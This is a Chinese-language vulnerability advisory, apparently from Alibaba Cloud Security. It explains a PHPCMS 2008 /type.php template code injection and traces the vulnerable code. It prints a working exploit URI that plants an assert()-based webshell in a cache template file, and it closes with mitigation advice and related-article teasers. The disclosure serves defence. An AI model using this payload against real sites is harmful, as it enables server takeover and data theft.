CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警

同喜
• 阅读 1616

摘要:11月4日,阿里云安全首次捕获PHPCMS 2008版本的/type.php远程GetShell 0day利用攻击,攻击者可以利用该漏洞远程植入webshell,导致文件篡改、数据泄漏、服务器被远程控制等一系列严重问题。建议受影响用户尽快升级到最新版本修复。

———————
PHPCMS网站内容管理系统是国内主流CMS系统之一,同时也是一个开源的PHP开发框架。

PHPCMS最早于2008年推出,最新版已出到v9.6.3,但由于稳定、灵活、开源的特性,时至今日,PHPCMS2008版本仍被许多网站所使用。

漏洞细节

当攻击者向安装有PHPCMS 2008的网站发送uri为如下文本的payload

/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss
那么@unlink(_FILE_);assert($_POST[1]);这句恶意php指令将被写入网站的/cache_template/rss.tpl.php文件。

漏洞原理

该漏洞源于PHPCMS 2008源码中的/type.php文件。该文件包含如下代码:

if(empty($template)) $template = 'type';
...
include template('phpcms', $template);
这里template变量是用户能够通过传入参数控制的,同时可以看到该变量之后会被传入template()方法。而template()方法在/include/global.func.php文件中定义,包含如下代码:
template_compile($module, $template, $istag);

不难看出,这里会继续调用/include/template.func.php中的template_compile():

function template_compile($module, $template, $istag = 0)
{

...
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
...

}
在这个方法中,template变量同时被用于compiledtplfile变量中文件路径的生成,和content变量中文件内容的生成。

而前文所述的攻击payload将template变量被设置为如下的值
tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss

所以在template_compile()方法中,调用file_put_contents()函数时的第一个参数就被写成了data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php,这将被php解析成data/cache_template/rss.tpl.php。

最终,@unlink(_FILE_);assert($_POST[1]);将被写入该文件。

影响范围

虽然距离PHPCMS2008版本的推出已经10年,但仍有不少网站正在使用PHPCMS2008,包括政府、企业的网站;根据Fofa网络空间安全搜索引擎的全网精确搜索结果显示,还有近200个使用PHPCMS2008版本的网站;而如果使用模糊匹配对网站进行识别,匹配结果更达上万个。

通过利用该漏洞,攻击者在向路径可控的文件写入恶意脚本代码后,后续将能够向该文件发送webshell指令,在服务器上执行任意代码,因此该代码注入漏洞的影响较大。

安全建议

手动修复
临时解决可以在/type.php文件中对template变量进行过滤,避免用户输入的含有"("、"{"等符号的内容混入,并被当做路径和脚本内容处理。

但由于PHPCMS2008版本过旧,用户应尽量升级到最新版本的PHPCMS,才能够更好地保障安全。

安全加固
•云防火墙已支持对该类漏洞的入侵防御,开启云防火墙IPS拦截模式和虚拟补丁功能,用户即使不自行进行修复,也依然能够进行防御和拦截。
•购买安全管家服务,您将能够在阿里云安全专家指导下进行安全加固及优化,避免系统受到该漏洞及后续其他漏洞影响。

点赞
收藏
评论区
推荐文章
警惕!GitLab 严重漏洞在野被广泛利用,企业需立即自查
1.前言近日,微步在线旗下微步情报局利用捕获到GitLab未授权远程命令执行漏洞(CVE202122205)在野利用,攻击成功后攻击者会植入挖矿木马进行挖矿。该漏洞无需进行身份验证即可进利用,危害极大。GitLab是GitLabInc.开发用于代码仓库管理系统的开源项目。GitLab广泛应用于多个企业,该漏洞影响范围较广。2.事件详情在2
Stella981 Stella981
3年前
Hadoop Yarn REST API未授权漏洞利用挖矿分析
HadoopYarnRESTAPI未授权漏洞利用挖矿分析一、背景情况5月5日腾讯云安全曾针对攻击者利用HadoopYarn资源管理系统RESTAPI未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击
Stella981 Stella981
3年前
APT攻击利器-Word漏洞CVE
一、概述近期,百度安全实验室反高级威胁团队截获多封利用MicrosoftOfficeWord漏洞进行攻击的恶意邮件。通过对邮件附件样本进一步分析发现,其利用的漏洞为澳洲国防部计算机应急响应中心提交的CVE20167193。该漏洞为RTF文件解析漏洞,成功利用该漏洞可以远程执行任意代码。我们拦截的样本双击打开后会在本地释放后门程序
微步在线 微步在线
3年前
GitLab 严重漏洞在野被广泛利用,企业需立即自查
1.前言近日,微步在线旗下微步情报局利用捕获到GitLab未授权远程命令执行漏洞(CVE202122205)在野利用,攻击成功后攻击者会植入挖矿木马进行挖矿。该漏洞无需进行身份验证即可进利用,危害极大。GitLab是GitLabInc.开发用于代码仓库管理系统的开源项目。由于GitLab广泛应用于多个企业,该漏洞影响范围较广。公众号后台回
Wesley13 Wesley13
3年前
ecshop 全系列版本网站漏洞 远程代码执行sql注入漏洞
ecshop漏洞于2018年9月12日被某安全组织披露爆出,该漏洞受影响范围较广,ecshop2.73版本以及目前最新的3.0、3.6、4.0版本都受此次ecshop漏洞的影响,主要漏洞是利用远程代码执行sql注入语句漏洞,导致可以插入sql查询代码以及写入代码到网站服务器里,严重的可以直接获取服务器的管理员权限,甚至有些网站使用的是虚拟主机,可以直接获取网
Stella981 Stella981
3年前
Django自身安全机制
XSS攻击什么是XSS攻击XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(https://www.oschina.net/action/GoT
Stella981 Stella981
3年前
CVE
本文借助CVE20209484Tomcat漏洞详细的介绍了本地和远程调试Tomcat源码。分析漏洞成因以及补丁修补情况,以及分析ysoserial反序列化链。0x01漏洞简介ApacheTomcat发布通告称修复了一个源于持久化Session的远程代码执行漏洞(CVE20209484)。漏洞条件比较苛刻:tomcat必须启
Stella981 Stella981
3年前
FreeType 2.4.9之前版本多个远程漏洞(CVE
漏洞描述FreeType是一个流行的字体函数库。FreeType2.4.9之前版本在实现上存在多个堆缓冲区溢出漏洞、栈缓冲区溢出漏洞和拒绝服务漏洞,远程攻击者可利用这些漏洞执行任意代码或造成拒绝服务。解决方法以下是各Linux/Unix发行版系统针对此漏洞发布的安全公告,可以参考对应系统的安全公告修复该漏洞:Ubuntu\
Stella981 Stella981
3年前
Linux应急响应(一):SSH暴力破解
0x00前言SSH是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议,主要用于给远程登录会话数据进行加密,保证数据传输的安全。SSH口令长度太短或者复杂度不够,如仅包含数字,或仅包含字母等,容易被攻击者破解,一旦被攻击者获取,可用来直接登录系统,控制服务器所有权限。0x01应急场景某天,网站
关于fastjson出现反序列化远程代码执行漏洞的通知
近日fastjson出现反序列化远程代码执行漏洞。天翼云提醒用户:请尽快采取措施进行排查与防护。漏洞描述5月23日,fastjson官方发布公告称在1.2.80及以下版本中存在新的反序列化风险,在特定条件下可绕过默认autoType关闭限制,从而反序列化有安全风险的类,攻击者利用该漏洞可实现在目标机器上的远程代码执行。fastjson是开源JSON解析库,它